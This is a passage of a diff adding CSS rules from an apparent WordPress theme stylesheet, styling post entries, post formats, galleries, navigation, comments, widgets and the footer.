+.sidebar .entry-summary,
+.sidebar .entry-meta {
+	max-width: 1040px;
+	padding: 0 376px 0 60px;
+}
+
+
+/**
+ * 5.1 Entry Header
+ * ----------------------------------------------------------------------------
+ */
+
+.sidebar .entry-header .entry-meta {
+	padding: 0;
+}
+
+.entry-thumbnail img {
+	display: block;
+	margin: 0 auto 10px;
+}
+
+.entry-header {
+	margin-bottom: 30px;
+}
+
+.entry-title {
+	font-weight: normal;
+	margin: 0 0 5px;
+}
+
+.entry-title a {
+	color: #141412;
+}
+
+.entry-title a:hover {
+	color: #ea9629;
+}
+
+
+/**
+ * 5.2 Entry Meta
+ * ----------------------------------------------------------------------------
+ */
+
+.entry-meta {
+	clear: both;
+	font-size: 14px;
+}
+
+.entry-meta a {
+	color: #bc360a;
+}
+
+.entry-meta a:hover {
+	color: #bc360a;
+}
+
+.entry-meta > span {
+	margin-right: 20px;
+}
+
+.entry-meta > span:last-child {
+	margin-right: 0;
+}
+
+.featured-post:before {
+	content: "\f308";
+	margin-right: 2px;
+}
+
+.entry-meta .date a:before {
+	content: "\f303";
+}
+
+.comments-link a:before {
+	content: "\f300";
+	margin-right: 2px;
+	position: relative;
+	top: -1px;
+}
+
+.entry-meta .author a:before {
+	content: "\f304";
+	position: relative;
+	top: -1px;
+}
+
+.categories-links a:first-child:before {
+	content: "\f301";
+}
+
+.tags-links a:first-child:before {
+	content: "\f302";
+	position: relative;
+	top: -1px;
+}
+
+.edit-link a:before {
+	content: "\f411";
+	position: relative;
+	top: -1px;
+}
+
+.single-author .entry-meta .author,
+.sticky.format-standard .entry-meta .date,
+.sticky.format-audio .entry-meta .date,
+.sticky.format-chat .entry-meta .date,
+.sticky.format-image .entry-meta .date,
+.sticky.format-gallery .entry-meta .date {
+	display: none;
+}
+
+
+/**
+ * 5.3 Entry Content
+ * ----------------------------------------------------------------------------
+ */
+
+.entry-content {
+	-webkit-hyphens: auto;
+	-moz-hyphens:    auto;
+	-ms-hyphens:     auto;
+	hyphens:         auto;
+	word-wrap: break-word;
+}
+
+.entry-content a,
+.comment-content a {
+	color: #bc360a;
+}
+
+.entry-content a:hover,
+.comment-content a:hover {
+	color: #ea9629;
+}
+
+.entry-content .more-link {
+	white-space: nowrap;
+}
+
+.entry-content blockquote {
+	font-size: 24px;
+}
+
+.entry-content blockquote cite,
+.entry-content blockquote small {
+	font-size: 16px;
+}
+
+.entry-content img.alignleft,
+.entry-content .wp-caption.alignleft {
+	margin-left: -60px;
+}
+
+.entry-content img.alignright,
+.entry-content .wp-caption.alignright {
+	margin-right: -60px;
+}
+
+footer.entry-meta {
+	margin-top: 24px;
+}
+
+.format-standard footer.entry-meta {
+	margin-top: 0;
+}
+
+/* Page links */
+.page-links {
+	clear: both;
+	font-size: 16px;
+	font-style: italic;
+	font-weight: normal;
+	line-height: 2.2;
+	margin: 20px 0;
+	text-transform: uppercase;
+}
+
+.page-links a,
+.page-links > span {
+	background: #fff;
+	border: 1px solid #fff;
+	padding: 5px 10px;
+	text-decoration: none;
+}
+
+.format-status .entry-content .page-links a,
+.format-gallery .entry-content .page-links a,
+.format-chat .entry-content .page-links a,
+.format-quote .entry-content .page-links a,
+.page-links a {
+	background: #e63f2a;
+	border: 1px solid #e63f2a;
+	color: #fff;
+}
+
+.format-gallery .entry-content .page-links a:hover,
+.format-audio .entry-content .page-links a:hover,
+.format-status .entry-content .page-links a:hover,
+.format-video .entry-content .page-links a:hover,
+.format-chat .entry-content .page-links a:hover,
+.format-quote .entry-content .page-links a:hover,
+.page-links a:hover {
+	background: #fff;
+	color: #e63f2a;
+}
+
+.format-status .entry-content .page-links > span,
+.format-quote .entry-content .page-links > span {
+	background: none;
+}
+
+.page-links .page-links-title {
+	background: transparent;
+	border: none;
+	margin-right: 20px;
+	padding: 0;
+}
+
+/* Mediaelements */
+.hentry .mejs-mediaelement,
+.hentry .mejs-container .mejs-controls {
+	background: #220e10;
+}
+
+.hentry .mejs-controls .mejs-time-rail .mejs-time-loaded,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	background: #fff;
+}
+
+.hentry .mejs-controls .mejs-time-rail .mejs-time-current {
+	background: #ea9629;
+}
+
+.hentry .mejs-controls .mejs-time-rail .mejs-time-total,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total {
+	background: #595959;
+}
+
+.hentry .mejs-controls .mejs-time-rail span,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,
+.hentry .mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current {
+	border-radius: 0;
+}
+
+
+/**
+ * 5.4 Galleries
+ * ----------------------------------------------------------------------------
+ */
+
+.gallery {
+	margin-bottom: 20px;
+	margin-left: -4px;
+}
+
+.gallery-item {
+	float: left;
+	margin: 0 4px 4px 0;
+	overflow: hidden;
+	position: relative;
+}
+
+.gallery-columns-1.gallery-size-medium,
+.gallery-columns-1.gallery-size-thumbnail,
+.gallery-columns-2.gallery-size-thumbnail,
+.gallery-columns-3.gallery-size-thumbnail {
+	display: table;
+	margin: 0 auto 20px;
+}
+
+.gallery-columns-1 .gallery-item,
+.gallery-columns-2 .gallery-item,
+.gallery-columns-3 .gallery-item {
+	text-align: center;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 23%;
+	max-width: -webkit-calc(25% - 4px);
+	max-width:         calc(25% - 4px);
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 19%;
+	max-width: -webkit-calc(20% - 4px);
+	max-width:         calc(20% - 4px);
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 15%;
+	max-width: -webkit-calc(16.7% - 4px);
+	max-width:         calc(16.7% - 4px);
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 13%;
+	max-width: -webkit-calc(14.28% - 4px);
+	max-width:         calc(14.28% - 4px);
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 11%;
+	max-width: -webkit-calc(12.5% - 4px);
+	max-width:         calc(12.5% - 4px);
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 9%;
+	max-width: -webkit-calc(11.1% - 4px);
+	max-width:         calc(11.1% - 4px);
+}
+
+.gallery-columns-1 .gallery-item:nth-of-type(1n),
+.gallery-columns-2 .gallery-item:nth-of-type(2n),
+.gallery-columns-3 .gallery-item:nth-of-type(3n),
+.gallery-columns-4 .gallery-item:nth-of-type(4n),
+.gallery-columns-5 .gallery-item:nth-of-type(5n),
+.gallery-columns-6 .gallery-item:nth-of-type(6n),
+.gallery-columns-7 .gallery-item:nth-of-type(7n),
+.gallery-columns-8 .gallery-item:nth-of-type(8n),
+.gallery-columns-9 .gallery-item:nth-of-type(9n) {
+	margin-right: 0;
+}
+
+.gallery-columns-1.gallery-size-medium figure.gallery-item:nth-of-type(1n+1),
+.gallery-columns-1.gallery-size-thumbnail figure.gallery-item:nth-of-type(1n+1),
+.gallery-columns-2.gallery-size-thumbnail figure.gallery-item:nth-of-type(2n+1),
+.gallery-columns-3.gallery-size-thumbnail figure.gallery-item:nth-of-type(3n+1) {
+	clear: left;
+}
+
+.gallery-caption {
+	background-color: rgba(0, 0, 0, 0.7);
+	box-sizing: border-box;
+	color: #fff;
+	font-size: 14px;
+	line-height: 1.3;
+	margin: 0;
+	max-height: 50%;
+	opacity: 0;
+	padding: 2px 8px;
+	position: absolute;
+	bottom: 0;
+	left: 0;
+	text-align: left;
+	-webkit-transition: opacity 400ms ease;
+	transition:         opacity 400ms ease;
+	width: 100%;
+}
+
+.gallery-caption:before {
+	box-shadow: 0 -10px 15px #000 inset;
+	content: "";
+	height: 100%;
+	min-height: 49px;
+	position: absolute;
+	left: 0;
+	top: 0;
+	width: 100%;
+}
+
+.gallery-item:hover .gallery-caption {
+	opacity: 1;
+}
+
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+
+/**
+ * 5.5 Post Formats
+ * ----------------------------------------------------------------------------
+ */
+
+/* Aside */
+.format-aside {
+	background-color: #f7f5e7;
+}
+
+.blog .format-aside:first-of-type,
+.single .format-aside:first-of-type,
+.format-aside + .format-aside,
+.format-aside + .format-link,
+.format-link + .format-aside {
+	box-shadow: inset 0 2px 2px rgba(173, 165, 105, 0.2);
+}
+
+.format-aside .entry-meta {
+	margin-top: 0;
+}
+
+.format-aside blockquote {
+	font-size: 100%;
+	font-weight: normal;
+}
+
+.format-aside cite {
+	font-size: 100%;
+	text-transform: none;
+}
+
+.format-aside cite:before {
+	content: "\2014";
+	margin-right: 5px;
+}
+
+/* Audio */
+.format-audio {
+	background-color: #db572f;
+}
+
+.format-audio .entry-title {
+	font-size: 28px;
+	font-weight: bold;
+}
+
+.format-audio .entry-content:before {
+	content: "\f109";
+	float: left;
+	font-size: 64px;
+	position: relative;
+	top: 4px;
+}
+
+.format-audio .entry-content a,
+.format-audio .entry-meta a,
+.format-audio .entry-content a:hover,
+.format-audio .entry-meta a:hover {
+	color: #fbfaf3;
+}
+
+.format-audio .audio-content {
+	background: url(images/dotted-line.png) repeat-y left top;
+	background-size: 4px 4px;
+	float: right;
+	padding-left: 35px;
+	width: 80%;
+	width: -webkit-calc(100% - 85px);
+	width:         calc(100% - 85px);
+}
+
+.format-audio .wp-audio-shortcode {
+	height: 30px !important; /* Override mediaelement.js style */
+	margin: 20px 0;
+	max-width: 400px !important; /* Override mediaelement.js style */
+}
+
+.format-audio audio {
+	max-width: 100% !important; /* Avoid player width overflow. */
+}
+
+/* Chat */
+.format-chat {
+	background-color: #eadaa6;
+}
+
+.format-chat .entry-title {
+	font-size: 28px;
+	font-weight: bold;
+}
+
+.format-chat .entry-meta a,
+.format-chat .entry-content a {
+	color: #722d19;
+}
+
+.format-chat .entry-meta .date a:before {
+	content: "\f108";
+	margin-right: 2px;
+}
+
+.format-chat .entry-meta .author {
+	display: none;
+}
+
+.format-chat .chat {
+	margin: 0;
+}
+
+.format-chat .chat .chat-timestamp {
+	color: #722d19;
+	float: right;
+	font-size: 12px;
+	font-weight: normal;
+	margin: 5px 10px 0;
+}
+
+.format-chat .chat .fn {
+	font-style: normal;
+}
+
+/* Gallery */
+.format-gallery {
+	background-color: #fbca3c;
+}
+
+.format-gallery .entry-header {
+	margin-bottom: 15px;
+}
+
+.format-gallery .entry-title {
+	font-size: 50px;
+	font-weight: 400;
+	margin: 0;
+}
+
+.format-gallery .entry-meta a,
+.format-gallery .entry-content a {
+	color: #722d19;
+}
+
+/* Image */
+.format-image .entry-title {
+	font-size: 28px;
+	font-weight: bold;
+}
+
+.format-image .categories-links,
+.format-image .tags-links {
+	display: none;
+}
+
+/* Link */
+.format-link {
+	background-color: #f7f5e7;
+}
+
+.blog .format-link:first-of-type,
+.single .format-link:first-of-type {
+	box-shadow: inset 0 2px 2px rgba(173, 165, 105, 0.2);
+}
+
+.format-link .entry-header,
+.format-link .entry-content p:last-child {
+	margin-bottom: 0;
+}
+
+.format-link .entry-title {
+	color: #ca3c08;
+	display: inline;
+	font: 300 italic 20px "Source Sans Pro", Helvetica, sans-serif;
+	margin-right: 20px;
+}
+
+.format-link .entry-title a {
+	color: #bc360a;
+}
+
+.format-link div.entry-meta {
+	display: inline;
+}
+
+/* Standard */
+.format-standard .wp-video,
+.format-standard .wp-audio-shortcode,
+.format-audio .wp-audio-shortcode,
+.format-standard .video-player {
+	margin-bottom: 24px;
+}
+
+/* Quote */
+.format-quote {
+	background-color: #210d10;
+}
+
+.format-quote .entry-content,
+.format-quote .entry-meta {
+	color: #f7f5e7;
+}
+
+.format-quote .entry-content blockquote {
+	font-size: 28px;
+	margin: 0;
+}
+
+.format-quote .entry-content a,
+.format-quote .entry-meta a,
+.format-quote .linked {
+	color: #e63f2a;
+}
+
+.format-quote .entry-content cite a {
+	border-bottom: 1px dotted #fff;
+	color: #fff;
+}
+
+.format-quote .entry-content cite a:hover {
+	text-decoration: none;
+}
+
+.format-quote blockquote small,
+.format-quote blockquote cite {
+	display: block;
+	font-size: 16px;
+}
+
+.format-quote blockquote {
+	font-style: italic;
+	font-weight: 300;
+	padding-left: 75px;
+	position: relative;
+}
+
+.format-quote blockquote:before {
+	content: '\201C';
+	font-size: 140px;
+	font-weight: 400;
+	line-height: .8;
+	padding-right: 25px;
+	position: absolute;
+	left: -15px;
+	top: -3px;
+}
+
+.format-quote .entry-meta .author {
+	display: none;
+}
+
+/* Status */
+.format-status {
+	background-color: #722d19;
+	padding: 0;
+}
+
+.format-status .entry-content,
+.format-status .entry-meta {
+	padding-left: 35px;
+	position: relative;
+}
+
+.format-status .entry-content a {
+	color: #eadaa6;
+}
+
+.format-status .entry-meta a {
+	color: #f7f5e7;
+}
+
+.sidebar .format-status .entry-content,
+.sidebar .format-status .entry-meta {
+	padding-left: 95px;
+}
+
+.format-status .entry-content:before,
+.format-status .entry-meta:before {
+	background: url(images/dotted-line.png) repeat-y left bottom;
+	background-size: 4px 4px;
+	content: "";
+	display: block;
+	height: 100%;
+	position: absolute;
+	left: 10px;
+	top: 0;
+	width: 1px;
+}
+
+.sidebar .format-status .entry-content:before,
+.sidebar .format-status .entry-meta:before {
+	left: 70px;
+}
+
+.format-status .categories-links,
+.format-status .tags-links {
+	display: none;
+}
+
+/* Ensures the dots in the dot background are in lockstep. */
+.format-status .entry-meta:before {
+	background-position: left top;
+}
+
+.format-status .entry-content {
+	color: #f7f5e7;
+	font-size: 24px;
+	font-style: italic;
+	font-weight: 300;
+	padding-bottom: 30px;
+	padding-top: 40px;
+	position: relative;
+}
+
+.format-status .entry-content p:first-child:before {
+	background-color: rgba(0, 0, 0, 0.65);
+	content: "";
+	height: 3px;
+	margin-top: 13px;
+	position: absolute;
+	left: 4px;
+	width: 13px;
+}
+
+.sidebar .format-status .entry-content > p:first-child:before {
+	left: 64px;
+}
+
+.format-status .entry-content p:last-child {
+	margin-bottom: 0;
+}
+
+.format-status .entry-meta {
+	margin-top: 0;
+	padding-bottom: 40px;
+}
+
+.format-status .entry-meta .date a:before {
+	content: "\f105";
+}
+
+/* Video */
+.format-video {
+	background-color: #db572f;
+}
+
+.format-video .entry-content a,
+.format-video .entry-meta a,
+.format-video .entry-content a:hover,
+.format-video .entry-meta a:hover {
+	color: #fbfaf3;
+}
+
+.format-video .entry-title {
+	font-size: 50px;
+	font-weight: 400;
+}
+
+.format-video .entry-meta {
+	color: #220e10;
+}
+
+
+/**
+ * 5.6 Attachments
+ * ----------------------------------------------------------------------------
+ */
+
+.attachment .hentry {
+	background-color: #e8e5ce;
+	margin: 0;
+	padding: 0;
+}
+
+.attachment .entry-header {
+	margin-bottom: 0;
+	max-width: 1040px;
+	padding: 30px 0;
+}
+
+.attachment .entry-title {
+	display: inline-block;
+	float: left;
+	font: 300 italic 30px "Source Sans Pro", Helvetica, sans-serif;
+	margin: 0;
+}
+
+.attachment .entry-title:before {
+	content: "\f416";
+	font-size: 32px;
+	margin-right: 10px;
+}
+
+.attachment .entry-meta {
+	clear: none;
+	color: inherit;
+	float: right;
+	max-width: 604px;
+	padding: 9px 0 0;
+	text-align: right;
+}
+
+.hentry.attachment:not(.image-attachment) .entry-meta {
+	max-width: 104px;
+}
+
+.attachment footer.entry-meta {
+	display: none;
+}
+
+.attachment-meta:before {
+	content: "\f307";
+}
+
+.full-size-link a:before {
+	content: "\f402";
+}
+
+.full-size-link:before {
+	content: none;
+}
+
+.attachment .entry-meta a,
+.attachment .entry-meta .edit-link:before,
+.attachment .full-size-link:before {
+	color: #ca3c08;
+}
+
+.attachment .entry-content {
+	background-color: #fff;
+	max-width: 100%;
+	padding: 40px 0;
+}
+
+.image-navigation {
+	margin: 0 auto;
+	max-width: 1040px;
+	position: relative;
+}
+
+.image-navigation a:hover {
+	text-decoration: none;
+}
+
+.image-navigation .nav-previous,
+.image-navigation .nav-next {
+	position: absolute;
+	top: 50px;
+}
+
+.image-navigation .nav-previous {
+	left: 0;
+}
+
+.image-navigation .nav-next {
+	right: 0;
+}
+
+.image-navigation .meta-nav {
+	font-size: 32px;
+	font-weight: 300;
+	vertical-align: -4px;
+}
+
+.attachment .entry-attachment,
+.attachment .type-attachment p {
+	margin: 0 auto;
+	max-width: 724px;
+	text-align: center;
+}
+
+.attachment .entry-attachment .attachment {
+	display: inline-block;
+}
+
+.attachment .entry-caption {
+	text-align: left;
+}
+
+.attachment .entry-description {
+	margin: 20px auto 0;
+	max-width: 604px;
+}
+
+.attachment .entry-caption p:last-child,
+.attachment .entry-description p:last-child {
+	margin: 0;
+}
+
+.attachment .site-main .sidebar-container {
+	display: none;
+}
+
+.attachment .entry-content .mejs-audio {
+	max-width: 400px;
+	margin: 0 auto;
+}
+
+.attachment .entry-content .wp-video {
+	margin: 0 auto;
+}
+
+.attachment .entry-content .mejs-container {
+	margin-bottom: 24px;
+}
+
+/**
+ * 5.7 Post/Paging Navigation
+ * ----------------------------------------------------------------------------
+ */
+
+.navigation .nav-previous {
+	float: left;
+}
+
+.navigation .nav-next {
+	float: right;
+}
+
+.navigation a {
+	color: #bc360a;
+}
+
+.navigation a:hover {
+	color: #ea9629;
+	text-decoration: none;
+}
+
+.paging-navigation {
+	background-color: #e8e5ce;
+	padding: 40px 0;
+}
+
+.paging-navigation .nav-links {
+	margin: 0 auto;
+	max-width: 604px;
+	width: 100%;
+}
+
+.sidebar .paging-navigation .nav-links {
+	max-width: 1040px;
+	padding: 0 376px 0 60px;
+}
+
+.paging-navigation .nav-next {
+	padding: 13px 0;
+}
+
+.paging-navigation a {
+	font-size: 22px;
+	font-style: italic;
+	font-weight: 300;
+}
+
+.paging-navigation .meta-nav {
+	background-color: #e63f2a;
+	border-radius: 50%;
+	color: #fff;
+	display: inline-block;
+	font-size: 26px;
+	padding: 3px 0 8px;
+	text-align: center;
+	width: 50px;
+}
+
+.paging-navigation .nav-previous .meta-nav {
+	margin-right: 10px;
+	padding: 17px 0 23px;
+	width: 80px;
+}
+
+.paging-navigation .nav-next .meta-nav {
+	margin-left: 10px;
+}
+
+.paging-navigation a:hover .meta-nav {
+	background-color: #ea9629;
+	text-decoration: none;
+}
+
+.post-navigation {
+	background-color: #fff;
+	color: #ca3c08;
+	font-size: 20px;
+	font-style: italic;
+	font-weight: 300;
+	padding: 20px 0;
+}
+
+.post-navigation .nav-links {
+	margin: 0 auto;
+	max-width: 1040px;
+}
+
+.sidebar .post-navigation .nav-links {
+	padding: 0 376px 0 60px;
+}
+
+.post-navigation a[rel="next"] {
+	float: right;
+	text-align: right;
+}
+
+
+/**
+ * 5.8 Author Bio
+ * ----------------------------------------------------------------------------
+ */
+
+.author-info {
+	margin: 0 auto;
+	max-width: 604px;
+	padding: 30px 0 10px;
+	text-align: left; /* gallery & video post formats */
+	width: 100%;
+}
+
+.author.sidebar .author-info {
+	max-width: 1040px;
+	padding: 30px 376px 10px 60px;
+}
+
+.single .author-info {
+	padding: 50px 0 0;
+}
+
+.author-avatar .avatar {
+	float: left;
+	margin: 0 30px 30px 0;
+}
+
+.single-format-status .author-description {
+	color: #f7f5e7;
+}
+
+.author-description .author-title {
+	clear: none;
+	font: 300 italic 20px "Source Sans Pro", Helvetica, sans-serif;
+	margin: 0 0 8px;
+}
+
+.author-link {
+	color: #ca3c08;
+	margin-left: 2px;
+}
+
+.author.archive .author-link {
+	display: none;
+}
+
+
+/**
+ * 5.9 Archives
+ * ----------------------------------------------------------------------------
+ */
+
+.archive-header {
+	background-color: #e8e5ce;
+}
+
+.archive-title,
+.archive-meta {
+	font: 300 italic 30px "Source Sans Pro", Helvetica, sans-serif;
+	margin: 0 auto;
+	max-width: 1040px;
+	padding: 30px 0;
+	width: 100%;
+}
+
+.archive-meta {
+	font-size: 16px;
+	font-style: normal;
+	font-weight: normal;
+	margin-top: -15px;
+	padding: 0 0 11px;
+}
+
+.sidebar .archive-meta {
+	padding-right: 316px;
+}
+
+
+/**
+ * 5.10 Search Results/No posts
+ * ----------------------------------------------------------------------------
+ */
+
+.page-header {
+	background-color: #e8e5ce;
+}
+
+.page-title {
+	font: 300 italic 30px "Source Sans Pro", Helvetica, sans-serif;
+	margin: 0 auto;
+	max-width: 1040px;
+	padding: 30px 0;
+	width: 100%;
+}
+
+.page-content {
+	margin: 0 auto;
+	max-width: 604px;
+	padding: 40px 0;
+	width: 100%;
+}
+
+.sidebar .page-content {
+	margin: 0 auto;
+	max-width: 1040px;
+	padding: 40px 376px 40px 60px;
+}
+
+
+/**
+ * 5.11 404
+ * ----------------------------------------------------------------------------
+ */
+
+.error404 .page-header {
+	background-color: #fff;
+}
+
+.error404 .page-title {
+	line-height: 0.6;
+	margin: 0;
+	padding: 300px;
+	position: relative;
+	text-align: center;
+	width: auto;
+}
+
+.error404 .page-title:before {
+	color: #e8e5ce;
+	content: "\f423";
+	font-size: 964px;
+	line-height: 0.6;
+	overflow: hidden;
+	position: absolute;
+	left: 7px;
+	top: 28px;
+}
+
+.error404 .page-wrapper {
+	background-color: #e8e5ce;
+}
+
+.error404 .page-header,
+.error404 .page-content {
+	margin: 0 auto;
+	max-width: 1040px;
+	padding-bottom: 40px;
+	width: 100%;
+}
+
+
+/**
+ * 5.12 Comments
+ * ----------------------------------------------------------------------------
+ */
+
+.comments-title,
+.comment-list,
+.comment-reply-title,
+.must-log-in,
+.comment-respond .comment-form,
+.comment-respond iframe {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+	max-width: 604px;
+	width: 100%;
+}
+
+.sidebar .comments-title,
+.sidebar .comment-list,
+.sidebar .must-log-in,
+.sidebar .comment-reply-title,
+.sidebar .comment-navigation,
+.sidebar .comment-respond .comment-form {
+	max-width: 1040px;
+	padding-left: 60px;
+	padding-right: 376px;
+}
+
+.comments-title {
+	font: 300 italic 28px "Source Sans Pro", Helvetica, sans-serif;
+}
+
+.comment-list,
+.comment-list .children {
+	list-style-type: none;
+	padding: 0;
+}
+
+.comment-list .children {
+	margin-left: 20px;
+}
+
+.comment-list > li:after,
+.comment-list .children > li:before {
+	background: url(images/dotted-line.png) repeat left top;
+	background-size: 4px 4px;
+	content: "";
+	display: block;
+	height: 1px;
+	width: 100%;
+}
+
+.comment-list > li:last-child:after {
+	display: none;
+}
+
+.comment-body {
+	padding: 24px 0;
+	position: relative;
+}
+
+.comment-author {
+	float: left;
+	max-width: 74px;
+}
+
+.comment-author .avatar {
+	display: block;
+	margin-bottom: 10px;
+}
+
+.comment-author .fn {
+	word-wrap: break-word;
+}
+
+.comment-author .fn,
+.comment-author .url,
+.comment-reply-link,
+.comment-reply-login {
+	color: #bc360a;
+	font-size: 14px;
+	font-style: normal;
+	font-weight: normal;
+}
+
+.says {
+	display: none;
+}
+
+.no-avatars .comment-author {
+	margin: 0 0 5px;
+	max-width: 100%;
+	position: relative;
+}
+
+.no-avatars .comment-metadata,
+.no-avatars .comment-content,
+.no-avatars .comment-list .reply {
+	width: 100%;
+}
+
+.bypostauthor > .comment-body .fn:before {
+	content: "\f408";
+	vertical-align: text-top;
+}
+
+.comment-list .edit-link {
+	margin-left: 20px;
+}
+
+.comment-metadata,
+.comment-awaiting-moderation,
+.comment-content,
+.comment-list .reply {
+	float: right;
+	width: 79%;
+	width: -webkit-calc(100% - 124px);
+	width:         calc(100% - 124px);
+	word-wrap: break-word;
+}
+
+.comment-meta,
+.comment-meta a {
+	color: #a2a2a2;
+	font-size: 13px;
+}
+
+.comment-meta a:hover {
+	color: #ea9629;
+}
+
+.comment-metadata {
+	margin-bottom: 20px;
+}
+
+.ping-meta {
+	color: #a2a2a2;
+	font-size: 13px;
+	line-height: 2;
+}
+
+.comment-awaiting-moderation {
+	color: #a2a2a2;
+}
+
+.comment-awaiting-moderation:before {
+	content: "\f414";
+	margin-right: 5px;
+	position: relative;
+	top: -2px;
+}
+
+.comment-reply-link:before,
+.comment-reply-login:before {
+	content: "\f412";
+	margin-right: 3px;
+}
+
+/* Comment form */
+.comment-respond {
+	background-color: #f7f5e7;
+	padding: 30px 0;
+}
+
+.comment .comment-respond {
+	margin-bottom: 20px;
+	padding: 20px;
+}
+
+.comment-reply-title {
+	font: 300 italic 28px "Source Sans Pro", Helvetica, sans-serif;
+}
+
+.comment-reply-title small a {
+	color: #131310;
+	display: inline-block;
+	float: right;
+	height: 16px;
+	overflow: hidden;
+	width: 16px;
+}
+
+.comment-reply-title small a:hover {
+	color: #ed331c;
+	text-decoration: none;
+}
+
+.comment-reply-title small a:before {
+	content: "\f406";
+	vertical-align: top;
+}
+
+.sidebar .comment-list .comment-reply-title,
+.sidebar .comment-list .comment-respond .comment-form {
+	padding: 0;
+}
+
+.comment-form .comment-notes {
+	margin-bottom: 15px;
+}
+
+.comment-form .comment-form-author,
+.comment-form .comment-form-email,
+.comment-form .comment-form-url {
+	margin-bottom: 8px;
+}
+
+.comment-form [for="author"],
+.comment-form [for="email"],
+.comment-form [for="url"],
+.comment-form [for="comment"] {
+	float: left;
+	padding: 5px 0;
+	width: 120px;
+}
+
+.comment-form .required {
+	color: #ed331c;
+}
+
+.comment-form input[type="text"],
+.comment-form input[type="email"],
+.comment-form input[type="url"] {
+	max-width: 270px;
+	width: 60%;
+}
+
+.comment-form textarea {
+	width: 100%;
+}
+
+.form-allowed-tags,
+.form-allowed-tags code {
+	color: #686758;
+	font-size: 12px;
+}
+
+.form-allowed-tags code {
+	font-size: 10px;
+	margin-left: 3px;
+}
+
+.comment-list .pingback,
+.comment-list .trackback {
+	padding-top: 24px;
+}
+
+.comment-navigation {
+	font-size: 20px;
+	font-style: italic;
+	font-weight: 300;
+	margin: 0 auto;
+	max-width: 604px;
+	padding: 20px 0 30px;
+	width: 100%;
+}
+
+.no-comments {
+	background-color: #f7f5e7;
+	font-size: 20px;
+	font-style: italic;
+	font-weight: 300;
+	margin: 0;
+	padding: 40px 0;
+	text-align: center;
+}
+
+.sidebar .no-comments {
+	padding-left: 60px;
+	padding-right: 376px;
+}
+
+
+/**
+ * 5.13 Multisite
+ * ----------------------------------------------------------------------------
+ */
+
+.site-main .mu_register {
+	margin: 0 auto;
+	max-width: 604px;
+	width: 100%;
+}
+
+.mu_alert {
+	margin-top: 25px;
+}
+
+.site-main .mu_register input[type="submit"],
+.site-main .mu_register #blog_title,
+.site-main .mu_register #user_email,
+.site-main .mu_register #blogname,
+.site-main .mu_register #user_name {
+	font-size: inherit;
+	width: 270px;
+}
+
+.site-main .mu_register input[type="submit"] {
+	width: auto;
+}
+
+
+/**
+ * 6.0 Sidebar
+ * ----------------------------------------------------------------------------
+ */
+
+.site-main .widget-area {
+	float: right;
+	width: 300px;
+}
+
+
+/**
+ * 6.1 Widgets
+ * ----------------------------------------------------------------------------
+ */
+
+.widget {
+	background-color: rgba(247, 245, 231, 0.7);
+	font-size: 14px;
+	-webkit-hyphens: auto;
+	-moz-hyphens:    auto;
+	-ms-hyphens:     auto;
+	hyphens:         auto;
+	margin: 0 0 24px;
+	padding: 20px;
+	word-wrap: break-word;
+}
+
+.widget .widget-title {
+	font: 300 italic 20px "Source Sans Pro", Helvetica, sans-serif;
+	margin: 0 0 10px;
+}
+
+.widget ul,
+.widget ol {
+	list-style-type: none;
+	margin: 0;
+	padding: 0;
+}
+
+.widget li {
+	padding: 5px 0;
+}
+
+.widget .children li:last-child {
+	padding-bottom: 0;
+}
+
+.widget li > ul,
+.widget li > ol {
+	margin-left: 20px;
+}
+
+.widget a {
+	color: #bc360a;
+}
+
+.widget a:hover {
+	color: #ea9629;
+}
+
+/* Search widget */
+.search-form .search-submit {
+	display: none;
+}
+
+/* RSS Widget */
+.widget_rss .rss-date {
+	display: block;
+}
+
+.widget_rss .rss-date,
+.widget_rss li > cite {
+	color: #a2a2a2;
+}
+
+/* Calendar Widget */
+.widget_calendar table,
+.widget_calendar td {
+	border: 0;
+	border-collapse: separate;
+	border-spacing: 1px;
+}
+
+.widget_calendar caption {
+	font-size: 14px;
+	margin: 0;
+}
+
+.widget_calendar th,
+.widget_calendar td {
+	padding: 0;
+	text-align: center;
+}
+
+.widget_calendar a {
+	display: block;
+}
+
+.widget_calendar a:hover {
+	background-color: rgba(0, 0, 0, 0.15);
+}
+
+.widget_calendar tbody td {
+	background-color: rgba(255, 255, 255, 0.5);
+}
+
+.site-footer .widget_calendar tbody td {
+	background-color: rgba(255, 255, 255, 0.05);
+}
+
+.widget_calendar tbody .pad, .site-footer .widget_calendar tbody .pad {
+	background-color: transparent;
+}
+
+
+/**
+ * 7.0 Footer
+ * ----------------------------------------------------------------------------
+ */
+
+.site-footer {
+	background-color: #e8e5ce;
+	color: #686758;
+	font-size: 14px;
+	text-align: center;
+}
+
+.site-footer .widget-area,
+.sidebar .site-footer {
+	text-align: left;
+}
+
+.site-footer a {
+	color: #686758;
+}
+
+.site-footer .sidebar-container {
+	background-color: #220e10;
+	padding: 20px 0;
+}
+
+.site-footer .widget-area {
+	margin: 0 auto;
+	max-width: 1040px;
+	width: 100%;
+}
+
+.sidebar .site-footer .widget-area {
+	max-width: 724px;
+	position: relative;
+	left: -158px;
+}
+
+.site-footer .widget {
+	background: transparent;
+	color: #fff;
+	float: left;
+	margin-right: 20px;
+	width: 245px;
+}
+
+.sidebar .site-footer .widget {
+	width: 228px;
+}
+
+.sidebar .site-footer .widget:nth-of-type(4),
+.sidebar .site-footer .widget:nth-of-type(3) {
+	margin-right: 0;
+}
+
+.site-footer .widget a {
+	color: #e6402a;
+}
+
+.site-footer .widget-title,
+.site-footer .widget-title a,
+.site-footer .wp-caption-text {
+	color: #fff;
+}
+
+.site-info {
+	margin: 0 auto;
+	max-width: 1040px;
+	padding: 30px 0;
+	width: 100%;
+}
+
+#wpstats {
+	display: block;
+	margin: -10px auto 0;
+}
+
+
+/**
+ * 8.0 Media Queries
+ * ----------------------------------------------------------------------------
+ */
+
